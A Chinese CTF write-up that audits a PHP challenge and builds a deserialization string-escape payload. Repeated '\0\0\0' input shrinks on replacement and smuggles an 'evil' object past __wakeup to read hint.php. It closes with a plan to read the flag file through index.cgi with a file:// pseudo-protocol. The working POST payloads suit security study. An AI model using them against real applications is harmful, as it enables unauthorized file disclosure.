一、代码审计
打开靶场,获得以下代码:
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
经过代码审计,我们可以知道,我们要构造evil类的反序列化字符串,并将其嵌入username或者password中,构成User类的一部分进行反序列化。我们还需要[[漏洞笔记/PHP/PHP反序列化漏洞#wakeup 绕过|绕过__wakeup()函数]]。
二、构造反序列化
payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
但是直接将这个字符串上传至username中是没有用的,如果我们直接上传,User类对象序列化出来的的字符串为O:4:"User":2:{s:8:"username";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";s:8:"password";s:6:"123456";}
,在反序列化时也只会被当做字符串的一部分进行解析。
不过我们注意到这里有一个函数会将字符串中的\0\0\0
替换为[%00]*[%00]
([%00]指代空字符),它将6个字符转换为三个字符,那么我们可以构造一个输入,使得在经过这个转换后,会吞掉一部分字符串,从而构成一个新的反序列化字符串。
构造字符串:O:4:"User":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:60:"a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}";}
在执行完read()
函数之后,username中的\0\0\0
变成了[%00]*[%00]
,使得6个字符变成了3个字符,导致后面的";s:8:"password";s:60:"a
被吞入username中,使我们构造的password字段逃逸出来,在最后使用}
提前闭合,将多余的";}
屏蔽。
那么很明显了,我们的payload为:username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
获得提示在index.cgi中。
cgi文件是种公共网关接口脚步文件,可以执行命令。
我们可以通过get方法向name传参,构造file伪协议,读取根目录的flag文件。